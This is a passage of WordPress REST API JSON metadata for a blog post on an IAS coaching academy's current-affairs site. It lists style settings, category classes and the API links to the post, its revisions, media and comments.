center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,71,11,42],"tags":[],"class_list":["post-2583","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-good-morning-test","category-prelims","category-prelims-current-affairs-gmt"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2583"}],"version-history":[{"count":3,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2583\/revisions"}],"predecessor-version":[{"id":2972,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2583\/revisions\/2972"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/1359"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2583"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2583"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}